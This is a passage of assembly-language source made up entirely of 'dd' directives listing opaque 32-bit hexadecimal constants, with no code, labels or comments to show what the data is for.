1E84293Ah, 9CF4A211h, 13C4A634h, 9160E9FCh dd 13688742h, 678B1778h, 1F81FB8Dh, 6E38801Eh, 9578ABC9h dd 0CA784D6Ah, 0E664B033h, 0C4BEB170h, 0EE7F95E1h, 34044134h dd 2B49BEEFh, 0F9600957h, 648629B7h, 7917C210h, 532814B3h dd 5D8C1A67h, 44D9523Ch, 0EB6ABF8Bh, 27210572h, 618AC2BDh dd 247ED799h, 0A958324Dh, 9D5A8742h, 7B16C83Ah, 3FA8AF76h dd 0D1E8400Eh, 0CE10CA71h, 0D094F8C3h, 1793AE69h, 847A19D7h dd 4B40A5C3h, 777DC45h, 0A10BCF11h, 6B9C2055h, 1BE2214Dh dd 16F84EA9h, 8849112Dh, 0F9129C88h, 821A0E93h, 2F8F3782h dd 79B6DD53h, 106D3DD7h, 54D5CD90h, 37758910h, 77D39463h dd 0F6678B35h, 0BE0D4B31h, 4D87EEEBh, 4BE0F6E4h, 108C71F3h dd 414C1264h, 207F3C45h, 50353C7Ah, 0ACCF3B18h, 7768FE80h dd 0A9B795A4h, 9045A3E0h, 6AE0AA96h, 0E83DC605h, 0FD3B6C82h dd 5F444F9Bh, 0C5CE7C18h, 0D61CB3E9h, 9E4573B6h, 86CC8293h dd 0B570BCCh, 0A0CA2BFDh, 0ABEFA450h, 0BD24037Dh, 0DE2B5DA0h dd 22017937h, 0CA468FEBh, 14F185F3h, 0DB9B533Eh, 9E0B6C90h dd 0FD0C195Ch, 24DAB88Dh, 0DF96693Ah, 0E3EBF8C7h, 33E0BDD8h dd 9C18459Ah, 686ACE29h, 0B103DFAEh, 92DC6BE3h, 6E104ED2h dd 21B884B1h, 0C509AD86h, 49C12561h, 0FF1DB59Eh, 5369FB61h dd 0D4F9C50Bh, 0E5EC69F9h, 0E14EE837h, 53BB7436h, 0CD587180h dd 7BA2E2A3h, 0E8B0E07Dh, 3536D7E0h, 7A2E05C8h, 26FB688Dh dd 0D03B78A9h, 8F9D0CC9h, 0D417D125h, 3A3A6F1Eh, 6473DB74h dd 7588EAA3h, 0CBFD936Ch, 664C2D4Ah, 0B16F64BAh, 0F4943E49h dd 7DF2F211h, 624FE57Ah, 7A2419B9h, 22E006A6h, 3C534E16h dd 2BD238A6h, 3EFBB1FEh, 71BC5ED4h, 0D94957B7h, 5BBEE5F6h dd 0D64B54AFh, 0C45B0E08h, 0ADBC325Bh, 37FE7F7Ch, 2568E0BEh dd 0FF217AFDh, 7065701Fh, 14DBE66Ch, 27ABCE9Ah, 43BDDF1Ah dd 6D809616h, 6C087F14h, 1302DCAFh, 3E92FDBBh, 0FA5A9A23h dd 0EC970D7Dh, 9E5C7893h, 3E154D45h, 99FCDC4Fh, 34103A1h dd 0B4EB6D07h, 0C50F9DEAh, 0E9063223h, 0EB04582Bh, 0C69591C8h dd 852E3DDCh, 555402EAh, 0BCCDE517h, 5E7E568Fh, 0B020082Ch dd 76925178h, 60418941h, 0DC85F430h, 0F27DA4B0h, 0AD606BDFh dd 0EB544FD4h, 0D5EDFAC7h, 7ACAA3FFh, 0E7026A74h, 0CE2DA2D9h dd 82408A61h, 0BEF2C88Ch, 78D7912Ch, 5A78C38Eh, 6685505Bh dd 882EF283h, 880ADF46h, 0F6E1724Eh, 4FD560B4h, 26C04A31h dd 0BFCB3807h, 9EBC77A7h, 0D5E69AC5h, 9840A795h, 28B622ABh dd 41F1FF7h, 0B623DBD6h, 77C8954Ah, 0D7E25B61h, 84507DACh dd 0B3DA1F9h, 42EE54D0h, 0BD99DDFAh, 0DBB8BE4Fh, 287024ABh dd 0CE436D67h, 0ACAE0F68h, 3FD3368h, 19E160B4h, 46B7674h dd 7AF21F6Fh, 5CCE316Dh, 8E793B45h, 0E182D616h, 0DB73964Eh dd 5B835C81h, 6D00ADE1h, 0C0C1965Eh, 1DF491F0h, 134F85Dh dd 0D200614h, 85D3DE60h, 812A9DF8h, 2A255AFEh, 0BA5744D8h dd 0E2B24EE0h, 33C7664Bh, 6ED1272h, 1217CDAh, 99B940D2h dd 3546078h, 0B1E1885Bh, 2AC026B7h, 18EC53CDh, 0D65A376Dh dd 8F365C95h, 0FC6257FFh, 5387A3C0h, 893E8FC2h, 8D72C58Ch dd 35DF907Bh, 4EE2926Bh, 9FBFA9Fh, 4644CB5h, 6A1FA094h dd 5297CDD5h, 0A3205D8h, 0CEE6F575h, 3B77C3B9h, 0B1138EF0h dd 95630369h, 843FB596h, 2F90A04Eh, 1F2C8CEDh, 0BE184C59h dd 7E23880Fh, 9E1D5C6Ah, 7F3A4C8Bh, 0E9E562D6h, 41D1BFA1h dd 9D2B04D9h, 550A4BD3h, 0C9FC6876h, 0F22EAAB2h, 0E7B3E42h dd 0D8165CA8h, 8082B141h, 9C0DE7BEh, 385FB956h, 1CD336F1h dd 8606705h, 3730411Fh, 0F7B354A9h, 45623B7Fh, 71D7AE8Ah dd 4A60C274h, 535E980Fh, 0C242233Ch, 3FB1FF68h, 909E46EFh dd 0E1CD3C7Dh, 0DB76FE58h, 0B6645A5Ch, 6899F8F8h, 0DED9C1D3h dd 0D1FB2DCEh, 198CFA00h, 1374464Ah, 0F1944451h, 0EA09AC93h dd 0DF9EC43Eh, 5A8F3Ch, 4FA95694h, 943EB4ACh, 58999134h dd 266F30ACh, 79FF9B53h, 0E5FB767Eh, 98EA8962h, 508D9D56h dd 0EF6AE7FBh, 0D3DAE589h, 8490F54Dh, 0DFA9F23Fh, 0BA0F8AD4h dd 0E3A2FDCh, 50D74D5Ah, 3C700A09h, 23F5C48Bh, 1ECCD9D7h dd 432A7039h, 7E065E6Eh, 45FD1315h, 0F0B7EE70h, 99DAE662h dd 0BB8DCB70h, 0E0C0756Dh, 0EC69D764h, 22D3A07Ch, 334D47B3h dd 9223A88Dh, 1AA742C9h, 0F2F2C472h, 39E78133h, 645C8A1Bh dd 95C498E1h, 0C4F22686h, 0EE1E4322h, 2FABC965h, 7C08E3AFh dd 3114364h, 0F329A5EEh, 3FA8E97Dh, 0C707B526h, 0ED526238h dd 4E7965D5h, 0BFDE284Ah, 9936E06Ch, 7F26078Dh, 0B5A4CA3Ah dd 0BC75DADDh, 297310BFh, 4D91F726h, 77C10602h, 74835AE2h dd 0CF1A77E6h, 5BA9AA99h, 7A156A0Fh, 218679ECh, 0F994B378h dd 1F679B70h, 2E972011h, 0D66600C0h, 9EE8C257h, 273972A5h dd 5CE661E1h, 4D679130h, 15EA406Bh, 466546A6h, 0D444F58Dh dd 72D47033h, 28E36531h, 4102B27Fh, 0F582D18Eh, 5F250B8Ah dd 0D5BCF99h, 23A36D32h, 7A5842Ch, 7BFA7CC4h, 190BE759h dd 4CC31A0Fh, 0FF4915E6h, 3B2EF074h, 13F5C9h, 0E0681144h dd 0E2A9C760h, 0DE338287h, 89C294CDh, 0A44A4E5Dh, 0D6A4E4FEh dd 59EB5DDDh, 0C8060CE5h, 42928940h, 0F93437BFh, 511FD5D7h dd 83E737BDh, 530D7A26h, 87CA199Eh, 0CBA159CFh, 3CDF83A5h dd 9F2D8654h, 36888FECh, 845EBACCh, 8D526012h, 0E81E237Dh dd 3918C1Dh, 2C554D0Bh, 0BE3591C4h, 24967D37h, 0A2531519h dd 6E84704h, 82630086h, 0FA19378Fh, 72413272h, 200B8E21h dd 5CECF0C8h, 0F1A9BED1h, 7A18B961h, 0CF4978A6h, 0F41D0C31h dd 39D51A4Fh, 535C69A8h, 1D5BFDB9h, 6D9F9761h, 4B91F4F6h dd 83449E61h, 14E1DEBBh, 3AAD8AB8h, 0EB6C781Ch, 15BBDD21h dd 0DF6AE87Fh, 0AD6B3896h, 3287C2A1h, 0D2987C80h, 0E13E08CDh dd 0D05E8686h, 36B10632h, 5727F066h, 47C19F7Eh, 7E52119Ch dd 96F0241Dh, 0E2B9A36Ah, 5201D845h, 0A36DB88Ch, 0E304FD01h dd 0E539984Eh, 34D68213h, 94F77232h, 0A5CF73FBh, 3C1D9A02h dd 365B99D0h, 927071Fh, 2F13D9A3h, 0E7E1C338h, 22F6EE5Bh dd 555DFF8Dh, 0F94B35DAh, 149F94C3h, 0CE40FB88h, 0C42FEB6Fh dd 0E164BAD5h, 90FA1616h, 5881D4A4h, 0DB6E90A3h, 0A406323h dd 0EC69364Eh, 0B6CDA7E6h, 6E9B1663h, 0AE1588E3h, 90A8F0D1h dd 51AA4Fh, 8B665BB9h, 3E4098F0h, 3AFE5ACEh, 583FA766h dd 17DF9363h, 546F5264h, 620BAD50h, 66A1129Ch, 0E5143AFCh dd 0CB40338Eh, 11CA3676h, 9D387E67h, 56123F5Ah, 3EF85FD2h dd 36D6D43Fh, 0F9D6D050h, 70BECF34h, 49B308E3h, 65624AFh dd 0A4C887Ah, 0AB950966h, 8568C367h, 0E7E44BBCh, 80094921h dd 5EF97A5Dh, 84D8E8A2h, 9BFA16C5h, 548F877Dh, 0B627447Fh dd 461A747h, 0A48F7E70h, 7CF6220Bh, 4FC361FBh, 40C6DAD3h dd 2B53B0B3h, 93F53B78h, 2338CEE3h, 708485E5h, 0D11AEB88h dd 5362AB09h, 38CEDE2Ch, 4DBF68F9h, 39692C30h, 27D43777h dd 0A60DDCABh, 1D676EAFh dd 0D98D1A54h, 64974A8Fh, 0C6D9FB51h, 55218FECh, 2947EF75h dd 1EB486F6h, 43C4AC54h, 258BD716h, 0FBC616FEh, 0A9D72D2Ah dd 0C87B45C8h, 478802A0h, 0EB8650EFh, 9427E76h, 0BF9523D3h dd 6A16C9BAh, 73070F32h, 51BD0951h, 7E81D9D4h, 26A6A02Eh dd 8BB77CACh, 0F76BC925h, 0A2E48A0Bh, 0B310A613h, 2961E0Eh dd 509365E0h, 0EC2C4411h, 2D3F2F7Fh, 84C1EF79h, 183AC42Dh dd 1390FC09h, 6056CC77h, 0EFC3D302h, 0DEAB2959h, 224A0A57h dd 4D525B71h, 6CB9F079h, 3C4B3703h, 7732FC76h, 719F0961h dd 0A641C889h, 0B8E57BEFh, 41FC780Fh, 0F6EF7C47h, 5D259F43h dd 1F3BADF3h, 47A1F1Bh, 14BA5A13h, 7B3C2E2Eh, 0C4737326h dd 322DC79Dh, 5E58F25Fh, 0F0AF038Eh, 0E79E60B2h, 0E4A934E0h dd 0A95B86CBh, 0C997CF28h, 0BC101EB2h, 8BFB7E9Ch, 159BDD38h dd 41C44AAh, 4B7DE75Fh, 0D0658761h, 449009BBh, 8FCCDA01h dd 356DD1AEh, 6802A493h, 2A97628Fh, 0CBBDADCDh, 145E1B66h dd 0F6E2BA15h, 0BE82A55Eh, 32C9FB18h, 0E3B84B57h, 6214D4ACh dd 0F42D67ACh, 771346Ch, 0AA3D841Eh, 8EE7A17Fh, 272C5C47h dd 32B55759h, 8F7792A3h, 3E784468h, 9EF6A9CBh, 743181B1h dd 73AD451Ch, 653091D3h, 0C976BA58h, 0F936B50Fh, 3CB014A2h dd 75255B73h, 0B5901A5Fh, 0C88D176Fh, 6581E23Eh, 55E6646Eh dd 59BF6302h, 38584E8Ah, 8B64B098h, 0C504D993h, 97A39EE4h dd 0F2DB4930h, 8233C212h, 0BD95F958h, 8290B56Eh, 65C9F4C1h dd 0A6DC2743h, 2B52625h, 33A8A5AFh, 3EB9E3A3h, 0A75075DAh dd 52A00B39h, 0E8ABDBFDh, 0F0E00238h, 2FA8B24Eh, 1FB4F99Ah dd 64E48F9Dh, 4D2CDF4Bh, 3B190B7Bh, 0FCABFC36h, 0EC6FE1E6h dd 0EE43663Bh, 26DDA7F9h, 0C02933CEh, 7B1A7151h, 16F38F9Bh dd 6468E62Ah, 59AEA8AFh, 0ABC13CD8h, 0D928A95Bh, 30749D96h dd 61197DF6h, 64A16ACFh, 0A25C6711h, 54F02DDCh, 9F6C0E25h dd 7CA2BD24h, 331BEFA0h, 8DD342E5h, 0C7F89D28h, 1FC0C4AAh dd 6A94F6EAh, 0CC8C8986h, 921C3110h, 0D4AF780Ch, 79F9D6A3h dd 0EB6C2FF7h, 9D4DA74h, 39BB4BB5h, 0F6C5721Bh, 6224914Ch dd 84E64F85h, 0E933E267h, 7479FB2h, 0B7C96E7Ch, 0A1C9A853h dd 7C4F45A2h, 31FCE86Dh, 8EDC6322h, 0BBFAAFA0h, 7FE47Ch dd 13EE2895h, 9FE0DBFCh, 86A566A2h, 0BA0DD5C9h, 0B65B1E7h dd 1D639A81h, 4894D88Dh, 1852E7DFh, 0FFDB1ADFh, 8EFCFEF0h dd 463C164Eh, 69FF3831h, 1033D52Ah, 5183237Ah, 3C3AB514h dd 76B5B625h, 299B839h, 109352A7h, 184CC45h, 0ED528507h dd 57CA1B02h, 4F316584h, 2249B9D5h, 91FE52BAh, 0B719D01Fh dd 8AE29505h, 0F0FBEB6Dh, 0E357B474h, 7CB67B1Fh, 1F366DEh dd 21D5DCCAh, 57318B56h, 79B75372h, 57D364B4h, 97FA4967h dd 7984FDE2h, 8A4F8B09h, 83A22171h, 6193BB4Bh, 7C698B8Ch dd 0E8FC1BFDh, 5B617266h, 982DAC4Eh, 7785CB01h, 0BD3FC70Eh dd 9A630C35h, 9CE1D072h, 105E3B33h, 6CE25CD5h, 80D22EFBh dd 5FE1725h, 0F22D55DBh, 0A8EC6Ch, 0D2E8780h, 8D208415h dd 0E33E90A3h, 0A1B96E90h, 0CFF1F67Dh, 12347CA0h, 0CA8B561Bh dd 1E422351h, 725580D3h, 0D56C7895h, 0C1406614h, 0DF3AFEC2h dd 8053DB26h, 0FA92859Eh, 884A8478h, 0CD4408AEh, 4B9102F3h dd 924D755Fh, 2EDB63EBh, 1F9B9E59h, 4BB4694Bh, 447C2337h dd 2817DF3Eh, 0E2AD2C5Ch, 6B07569Bh, 1DF19446h, 55416F0Ch dd 0C8DF54BCh, 7D33030Bh, 61EF7E56h, 898C2776h, 0B89CA8CDh dd 3DF826ABh, 0EAFDBE79h, 46B08E0Ch, 500A20C4h, 0EDD3755Ch dd 85A78F46h, 0B1C5B7D9h, 0E30CA058h, 0DCE097E9h, 0A76F380Eh dd 9917D047h, 0C7B3690h, 0C577475Bh, 0DABB1396h, 0C90499E2h dd 0A43734E4h, 5943C411h, 80840CBh, 8E78F01Fh, 0AAE66FF4h dd 0D882E0A5h, 6D36DD8Ah, 4F3D6831h, 4D6D62F8h, 97441824h dd 0E0477B62h, 98A4263Eh, 6369FB36h, 331A2D33h, 79BACCFDh dd 0DC9EF35Bh, 7B329B06h, 0B658A825h, 67A08F26h, 0D7E11043h dd 103B56D8h, 15061563h, 74BBECF2h, 7B3A9CF8h, 0C730EC1h dd 0F3607833h, 0E18E75FBh, 0DD699D6Fh, 48F9ADC3h, 7B542B3Ch dd 2A8C1A8Ch, 86798233h, 0DDD33624h, 7225E328h, 6E2F480Eh dd 457FE0D9h, 8A67B9A8h, 190FFB81h, 0F2902079h, 8E9D0D9Fh dd 0F0B34BB9h, 655A113Eh, 0D02D7E30h, 0BEDCDF14h, 80DC15E2h dd 0FC21756Ch, 0F4AFE857h, 0F71C546Eh, 387F98ECh, 802154E7h dd 75489D8Bh, 79C53988h, 7AE44DF1h, 3B509938h, 0CB8301AEh dd 1D4CB4D9h, 5FC0899Eh, 2AAFB468h, 4B96733Bh, 3BBA20D0h dd 4A1CE54Dh, 239669DFh, 0CD212CADh, 0CD8F6C56h, 0B2870505h dd 8FA54940h, 4E6B5C0Dh, 0BC8FAD78h, 33D13017h, 0B2D53361h dd 0D37D89B5h, 6988048h, 4F0ADD3Ah, 6148A9B6h, 3A12B7E6h dd 55CD8187h, 0A273A957h, 0C7A14B36h, 5B4FF349h, 0C6C2E4CAh dd 0A84BF108h, 26549BFFh, 0B1CC78CBh, 7DC23476h, 57CE5D53h dd 166CD12Bh, 5EEA8924h, 0E7782D2Ah, 13EC680Dh, 0BB1A42F6h dd 1FEC03BFh, 37007D1h, 0B827923Ch, 0A5F7454Eh, 7EAE1FE3h dd 0D5B1B70Bh, 0C091A095h, 9ADC3892h, 0B58BF476h, 0F2E9FF3Ch dd 42B8FAE6h, 92E955E1h, 0A230042Ch, 91B3BF72h, 0CDBF98DDh dd 0A23BC8Ch, 9595E521h, 0FCE6AE9Eh, 4E75D8E9h, 0FAFE652Ah dd 0F2DEDA6Eh, 344DF017h, 86C7431Dh, 0EB232D53h, 0EC01CCFFh dd 0C1114D79h, 9E791E56h, 49F625D4h, 0FF795406h, 9DC5CD30h dd 9892D649h, 0A3DAA640h, 81D41C29h, 0B19DF5Ah, 964A709Eh dd 969B2239h, 86781D5Eh, 0EF006400h, 3ABE5DCBh, 0F9E92F69h dd 0B91DC096h, 0B4288ECAh, 0F96B39B4h, 84B310EAh, 0B7D0B3E1h dd 0A096E3A0h, 0A037CBD3h, 59E33CB1h, 0F7BA46B2h, 0AB426E95h dd 5269042Ch, 9C499779h, 5399EC80h, 0F6182F08h, 73E1999Eh dd 0FB713B3Dh, 0FC0C60D1h, 0F592197Bh, 0B10D1DCCh, 196E067Ch dd 9B285363h, 9941DDD0h, 1CCD7D31h, 0FE1951D6h, 0C57DC9CFh dd 0C01A5213h, 0F890E374h, 0DFD73C87h, 6BA049D9h, 4F9E6BAEh dd 61578945h, 0A85F9795h, 4F6447C8h, 0B7589D20h, 750A7D36h dd 7EE360F6h, 5F5B2865h, 9E158D6Dh, 2A9F60A6h, 0D5D087EBh dd 0A9C656DDh, 99211A31h, 0E6846220h, 0B7EF133Bh, 31497516h dd 6CFF5214h, 90C4C5D6h, 2BB7EA0Bh, 73B4AE5Bh, 388AFEDFh dd 0C023312Bh, 3464F59Fh, 0C5C2B2CBh, 0CDF0A78Eh, 5FD422AAh dd 54647411h, 10ACC8EBh, 43E54A11h, 0A7466D25h, 599BF260h dd 326024FAh, 84F6F232h, 0AB8CF29Ah, 0A87E7CB8h, 0CA22B3E1h dd 373EED9Eh, 0AE344A2Bh, 3FC48E2h, 9C76509Bh, 359C6C9Dh dd 0FFB5F21Ah, 0B1464D6Dh, 0B8034E6Eh, 90960489h, 1EBE4933h dd 0DA392A7Dh, 4DCCFB0Bh, 5D37844Ah, 0FCEF6DB1h, 231CDDA0h dd 67488CD7h, 8156295h, 0BBDE4353h, 1BF480F3h, 0B83F07F0h dd 0B9CCCBDEh, 800E1378h, 6CC488F6h, 2A1BC181h, 78E1BD0Ch dd 60616AB1h, 1F6E8457h, 1CC5C900h, 0EB7AD744h, 4229E8AAh dd 0D7BAD228h, 634B2569h, 0D85E8F9Bh, 6B7D2F6Fh, 4C97ADF6h dd 0FCA5186Fh, 44076615h, 0CE31C928h, 0D0F771ADh, 42BFA063h dd 4A28A752h, 0A2C60A9Eh, 8BA77235h, 2C2AAF72h, 0E0CC9533h dd 60A4276Ch, 0DF36C534h, 206BB98Ch, 0BD5EE2CFh, 6DB90DA6h dd 0B5B7C3C4h, 2795958Ch, 6DEE5B56h, 0C61B0879h, 60DF6A2Ch dd 0D0FB9ED9h, 4F32B6C4h dd 20F809D9h, 0FCBCDF75h, 9CB57C44h, 836A2739h, 0D8398003h dd 19D7C540h, 81079AD5h, 0CAEC5B8Dh, 57CA6571h, 0ABDAE12Dh dd 1ECA3327h, 0C55174A7h, 81FFC567h, 95F0CF5Bh, 0E439BDD2h dd 3EEF417Bh, 0CCAC8963h, 516343DCh, 7B171B50h, 0DF6EB172h dd 0BF800AEDh, 2FAB9D84h, 0A3779E0h, 0D95102CAh, 2BEFB5A7h dd 4E514EF3h, 897800Eh, 0FC83801Eh, 54B35A78h, 6AE0FC37h dd 9ECB19E1h, 8A401707h, 0D4163E15h, 0AC01B01Eh, 3624E685h dd 8F55ED52h, 20058F1Eh, 0A3264421h, 23CFEB48h, 526831ECh dd 0FF1AF5DCh, 0B9FDB434h, 0B731D4EFh, 6FE98207h, 5BA954B4h dd 40A141D2h, 0B6DA73DBh, 0E27FA444h, 5E5A97EAh, 9F5C0BA2h dd 0A8AD860Bh, 0D5443EF8h, 5F7E9FD5h, 8E02439Dh, 0F5C7E54h dd 8F212E07h, 802CF967h, 2CE0F2D1h, 0CE01A095h, 0E54A9CD5h dd 6B09B700h, 7064C7EDh, 793A59D2h, 87269522h, 0FC5B6B26h dd 109FF908h, 8402F023h, 3CF19C86h, 0DBBF8CB0h, 6B158EB5h dd 0C326B9C7h, 0AF972BA0h, 751E2A8Bh, 57D48604h, 0B8FAF5A4h dd 8CA67BBFh, 9E98203Fh, 0FD55D960h, 0F1737D49h, 57E12D26h dd 14A164D3h, 0C3BED659h, 6AF08595h, 0FB0BBED2h, 0A6B2BB4Eh dd 77CE57BCh, 0AD4B86F1h, 0B7EE24h, 0EC2659EEh, 356C8FE5h dd 893022A9h, 846E06D6h, 6F0A80D8h, 38FD86EAh, 4AF26551h dd 33E0775Ch, 3C3ABEE3h, 0A37212D0h, 79C0CEEh, 0BBAF9A67h dd 1ABE134Ah, 0F23D4F91h, 69998C5Bh, 163995DFh, 0F25BEEB1h dd 546200A7h, 6267DC4Fh, 2FF26F43h, 28F5327Ah, 88B0FF33h dd 16E57E6h, 49B3741Eh, 6EE75651h, 0CE0AFB16h, 0F2B09420h dd 0C17717C4h, 5A05E5D2h, 6B6A520Dh, 0BDAB41B5h, 0F3CBC1C1h dd 6E11F256h, 979BB3E2h, 4CB2185Ch, 2D05DCDEh, 0C252E3C2h dd 22A97B50h, 2F50D3E1h, 0DBB74248h, 8FFC9CEBh, 37168E59h dd 5A4B33E7h, 40A82989h, 0D426B429h, 5C447506h, 48DF7A43h dd 592F7428h, 375EB5E2h, 0E34AD28Ch, 69FA7795h, 960FBADh dd 11CB4EC0h, 0E326E14Dh, 2759FF15h, 0FD237068h, 0FC970E00h dd 951456BFh, 0CA0B2BCh, 3C6A9F9Dh, 0ED9C7600h, 8D07CAF2h dd 1F92F210h, 0C5E3DB4Bh, 194C5F2Fh, 506C682Bh, 0F27F17BDh dd 817381D1h, 0F9DB243Fh, 0E7BDAC71h, 0C79C2559h, 44E6358Fh dd 8E65148Ch, 0D10B786Fh, 0A8B85248h, 0F23E2D11h, 5C985B66h dd 42133E8h, 69B0EBD8h, 9BFDC6C6h, 0A2B81B4Ah, 0E0A27228h dd 544E5D77h, 0BE05B927h, 7F418B40h, 967B12EAh, 0ED89040Dh dd 0CE28F794h, 62379072h, 0D008A7AEh, 0BC624C0h, 0FA93BF40h dd 4F0E9D8Ah, 70313987h, 2661D364h, 55A0C59Fh, 2C73ABA3h dd 362EC160h, 4FEDE9E2h, 91A9C65Dh, 9CCB5932h, 0AE6F0C3Fh dd 0EAE133DDh, 5140C53Dh, 0B634DE46h, 0E56308F6h, 5DF7CB7Dh dd 864061F2h, 3B677A28h, 0A9B5B645h, 0B45A63C4h, 53ECD933h dd 0B61FCC1Fh, 0AFFFA3A6h, 1672D686h, 512E7A65h, 0EA1BB9EDh dd 0C3A3C6D8h, 0A32FA184h, 0CEC79377h, 2283A5h, 18B2F4B9h dd 0C4968661h, 0A5FF0608h, 844C1FBEh, 0C323842Bh, 0E04BCFFFh dd 0EEB7EC01h, 514DB974h, 956313D6h, 789150AFh, 0DAD120h dd 5775BD42h, 0E410AC09h, 69807CA4h, 2DF0460Dh, 38C371D4h dd 49164D8Eh, 22B7ED28h, 82682402h, 0B4785080h, 5F14E3A6h dd 0BFA2C8FEh, 81F274B9h, 0F3CC249Ch, 2525B09Ah, 984F405Bh dd 6F72DF90h, 0B3E19274h, 39E7246Dh, 29F81D42h, 9CDD63D9h dd 683C5DBFh, 4CC0C792h, 0A98B60CCh, 1927FA6Bh, 0C72E6980h dd 915BAD54h, 2D99E6E0h, 1AC055FFh, 4AC95909h, 96BEA578h dd 79A073EBh, 0F9108493h, 3384A6C0h, 31C72877h, 237511CDh dd 58FB01C0h, 3666D6DCh, 0D830EF09h, 0ED43F92Dh, 599A7979h dd 33CFF7FFh, 0A28BD1D6h, 2E713DF2h, 0BE82CD58h, 0E457F403h dd 9F9DCD7h, 0C6702D1Ch, 2CA0A047h, 7FE6AA43h, 91380972h dd 17D5268Dh, 0E981A68Eh, 93120EC9h, 0D05560D7h, 6FDCE8CBh dd 4B263701h, 0F5FF0A2Fh, 5629E182h, 988FD25h, 6347D6BDh dd 2979841h, 80EDAEDEh, 246E3AA6h, 0EBA4DFD5h, 68559068h dd 0D7FD5DE5h, 6BF6FC6h, 1ECEA977h, 5144C210h, 0D2AA429Dh dd 0F07EA06Dh, 39A48747h, 87DEE24Dh, 1BAC596Ch, 0F7D31672h dd 8086884Eh, 670B6418h, 11ABCD52h, 48496A02h, 71CF4D92h dd 185EE4E3h, 65F6F47Ah, 0AEB36F02h, 5BF421E3h, 0E0FD1EFAh dd 2EE89EBAh, 89ED07EBh, 0A2DDB83Bh, 0E777FB86h, 3CB09C39h dd 0FC8F2CC9h, 8DDCF184h, 0F2C7CC51h, 3AEC9058h, 0C52DB404h dd 4CE9DFB7h, 0E6165A40h, 41B5BB9Bh, 0BDB41C24h, 0C480BB11h dd 0DF486745h, 8FDF0723h, 0AE7A54B1h, 972FC658h, 8115867Eh dd 319F4D52h, 0CA96E7FBh, 7ED13457h, 0A2A1CC6Bh, 0F5BA0A3Dh dd 0CA07AD1h, 0F9C78261h, 3B45B7BAh, 0CCAF95B9h, 371C2435h dd 345655D1h, 1271ED0Ah, 4C2835C6h, 51B37314h, 90AF6EA4h dd 48A3F95Bh, 5895CC94h, 78FE966Ch, 0EF3469B8h, 16E94433h dd 4F0EF0B7h, 0A5D3DFh, 9B26B4F6h, 7841AD7Bh, 0AEFC582Ah dd 5C708E63h, 1BF8F062h, 674557E0h, 0CCA83C9Ch, 7CA6C2E4h dd 0A6A60514h, 157277C8h, 0A0D82560h, 3F39D51Ch, 238EA448h dd 4CEBAE42h, 8DC93243h, 0E1C65AD9h, 890EECFBh, 7A3F238Fh dd 0D38B8BD8h, 0E055D468h, 335787FBh, 0CD32522Fh, 0BB990687h dd 0BB8D87DAh, 52450863h, 0E8323C95h, 225E0872h, 5C01066Ah dd 0ABDACBC3h, 346B8D54h, 0C6AFD29h, 1A301431h, 3686BDD3h dd 626E19CBh, 0F88F79D9h, 0AB3A7B73h, 950483C9h, 0ADF117B5h dd 0B120C644h, 0F3CDBB60h, 0E55FE3ABh, 0A74C02C7h, 0C2578B18h dd 9EEB7399h, 0FF4453F7h, 0DC8BC974h, 21238F82h, 0E5CB30Eh dd 674F7CD5h, 0D1B5FB94h, 531FEC7h, 4B46398Ah, 0BA0DD40Dh dd 0FCC563FEh, 0E72BB0CAh, 9158283Fh, 0F9F204Eh, 0A0C49FF6h dd 0EDA03630h, 98509F94h, 8ECB4610h, 0DF9FF63Ah, 5A505E0Bh dd 0F2D87331h, 97429526h, 0F2C171DEh, 34DEA88Ch, 51C10CF2h dd 71D91D3Ch, 9AB70018h, 0FDCAC31Bh, 463ACF4Dh, 0CA3E7BE5h dd 0FC2362F1h, 79F2DFC3h, 5C1047AAh, 44ABE7F6h, 74860F9Eh dd 8FAFF0F0h, 0EFBBB434h, 9A14C921h, 878DDE2Ch, 28477154h dd 5623EC91h, 11DBC009h, 3F7678A6h, 485C5C35h, 812DD0B4h dd 962180ECh, 0E8CCC3E7h, 548A4B13h, 0C5D83ADBh, 27DEE28Fh dd 0B4216C2Dh, 0B35B8F17h, 0E28674CBh, 6AF73337h, 0AA5DD18h dd 5D247F35h, 0A1341F53h, 0B8CD245h, 0EBDEC596h, 6C605B87h dd 839F4C96h, 0FEF9B3C6h, 1E3D00Eh, 755D953Fh, 6BC7DA6Eh dd 971369D0h, 0B9A573E7h, 0AA3F033Eh, 5797CB3h, 666570D6h dd 43AF1323h, 0EA152270h, 3B82AC12h, 608D3E8h, 0B0227E0Dh dd 0F3A4A4C5h, 45D59FFDh, 0BF40768Ah, 2970B3FEh, 0CD2F9BBEh dd 336F6E1h, 0CE27E964h, 0C768A3ECh, 9167A173h, 0A1643AFCh dd 81878FB4h, 5E5DE6E0h, 53647142h, 8A33965Fh, 47E5A889h dd 0DB5AFBDAh, 4E5D4385h, 42375296h, 9BB76B7Bh, 858DC761h dd 3C3BB1C9h, 65CA3D4Eh, 9EE8A6DEh, 8FE6D8B9h, 0A3A35E4Eh dd 84445AE5h, 684AD5ABh, 9AAD414Eh, 24075C1Eh, 0C5902B9Dh dd 0BE2DCBF1h, 0B153CDD2h, 0FC2D3678h, 6802D831h, 1517A8D5h dd 7415B32Ch, 630E4787h, 2B169B6Ah, 0BB7743B1h, 22B015EEh dd 0E9CA6727h, 0DDB1B438h, 4E9DED4Ah, 999CE8C1h, 149F0AB0h dd 658F5037h, 0D09B1C65h dd 0F16C0A62h, 2CE4AE6Ch, 79C8B758h, 9A0D92BEh, 0F770308h dd 0BBFE979Fh, 22AC57CAh, 0DE21934Fh, 4EEA1CFCh, 87FE394Ah dd 0C1C10E83h, 0BAF37E4Fh, 0D13B9AACh, 0DE5B68EDh, 0F3B65AB8h dd 7768703Ah, 3DEC65AAh, 687E7E05h, 694332E7h, 0A2198762h dd 0BDB53742h, 3480E04Eh, 0D09F3091h, 7F3D7DC7h, 0CD33696Ah dd 74EA353Eh, 0C6EC7C4Ch, 69EABEAFh, 8610C547h, 50E23D23h dd 0DACCA05Eh, 1F1BCE52h, 6E33D892h, 0A1267CFBh, 34EEE447h dd 0BB67DCF5h, 4181DD37h, 2AC723CDh, 7CEA76D2h, 2CA125C6h dd 832C7C3Dh, 9E2900C6h, 0CCD405E3h, 0A82EA357h, 49D1DF70h dd 82299527h, 0E8831F66h, 6496453Dh, 0E8AB6DE2h, 0C1129D3Dh dd 0C30E4A0Ch, 0DE1964CDh, 5F537393h, 11A5065Eh, 90BE72D2h dd 4CDE7C3Fh, 0BA24BB0Dh, 60D16738h, 89FA0958h, 6123548h dd 7439287Eh, 9E43400Eh, 2148867Ah, 84185CA5h, 3841E4D3h dd 2E8F00Bh, 0ABC3A0C1h, 734E8A68h, 176EEF66h, 9B075945h dd 